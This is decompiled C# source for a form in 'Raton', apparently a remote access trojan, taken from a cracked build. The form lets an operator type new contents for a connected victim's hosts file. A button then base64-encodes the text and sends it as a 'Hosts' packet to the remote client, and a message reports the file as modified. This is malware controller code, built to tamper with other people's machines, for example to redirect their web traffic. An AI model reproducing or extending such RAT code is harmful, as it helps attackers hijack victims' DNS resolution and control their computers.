Files
2026-08-27 11:23:13 -06:00

132 lines
4.7 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Misc.ratonHosts
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using FastColoredTextBoxNS;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Misc;
public class ratonHosts : Form
{
private IContainer components;
private RgbBuildButton rgbBuildButton1;
private Timer timer1;
public FastColoredTextBox textBox1;
public SillyClient SillyClient { get; set; }
public ratonHosts()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
}
private void ratonHosts_Load(object sender, EventArgs e) => this.timer1.Start();
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
private void rgbBuildButton1_Click(object sender, EventArgs e)
{
string base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(this.textBox1.Text));
Pack pack = new Pack();
pack.SetString("Packet", "Hosts");
pack.SetString("Content", base64String);
this.SillyClient.Send(pack.Pacc());
int num = (int) Messenger.MessageBox("Hosts file modified!", "Information", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonHosts));
this.textBox1 = new FastColoredTextBox();
this.timer1 = new Timer(this.components);
this.rgbBuildButton1 = new RgbBuildButton();
((ISupportInitialize) this.textBox1).BeginInit();
this.SuspendLayout();
this.textBox1.AutoCompleteBracketsList = new char[10]
{
'(',
')',
'{',
'}',
'[',
']',
'"',
'"',
'\'',
'\''
};
this.textBox1.AutoScrollMinSize = new Size(32 /*0x20*/, 12);
this.textBox1.BackBrush = (Brush) null;
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
this.textBox1.CharHeight = 12;
this.textBox1.CharWidth = 7;
this.textBox1.Cursor = Cursors.IBeam;
this.textBox1.DisabledColor = Color.FromArgb(100, 180, 180, 180);
this.textBox1.Dock = DockStyle.Top;
this.textBox1.Font = new Font("Courier New", 8.25f);
this.textBox1.IsReplaceMode = false;
this.textBox1.Location = new Point(0, 0);
this.textBox1.Name = "textBox1";
this.textBox1.Paddings = new Padding(0);
this.textBox1.SelectionColor = Color.FromArgb(60, 0, 0, (int) byte.MaxValue);
this.textBox1.ServiceColors = (ServiceColors) componentResourceManager.GetObject("textBox1.ServiceColors");
this.textBox1.Size = new Size(526, 505);
this.textBox1.TabIndex = 0;
this.textBox1.Text = " ";
this.textBox1.Zoom = 100;
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.rgbBuildButton1.Cursor = Cursors.Arrow;
this.rgbBuildButton1.Dock = DockStyle.Bottom;
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
this.rgbBuildButton1.ForeColor = Color.White;
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_wifi_warning_24_filled;
this.rgbBuildButton1.IconSize = 25;
this.rgbBuildButton1.IconSpacing = 8;
this.rgbBuildButton1.Location = new Point(0, 511 /*0x01FF*/);
this.rgbBuildButton1.Name = "rgbBuildButton1";
this.rgbBuildButton1.Size = new Size(526, 52);
this.rgbBuildButton1.TabIndex = 1;
this.rgbBuildButton1.Text = "Modify file";
this.rgbBuildButton1.Click += new EventHandler(this.rgbBuildButton1_Click);
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(526, 563);
this.Controls.Add((Control) this.rgbBuildButton1);
this.Controls.Add((Control) this.textBox1);
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.Name = nameof (ratonHosts);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonHosts);
this.Load += new EventHandler(this.ratonHosts_Load);
((ISupportInitialize) this.textBox1).EndInit();
this.ResumeLayout(false);
}
}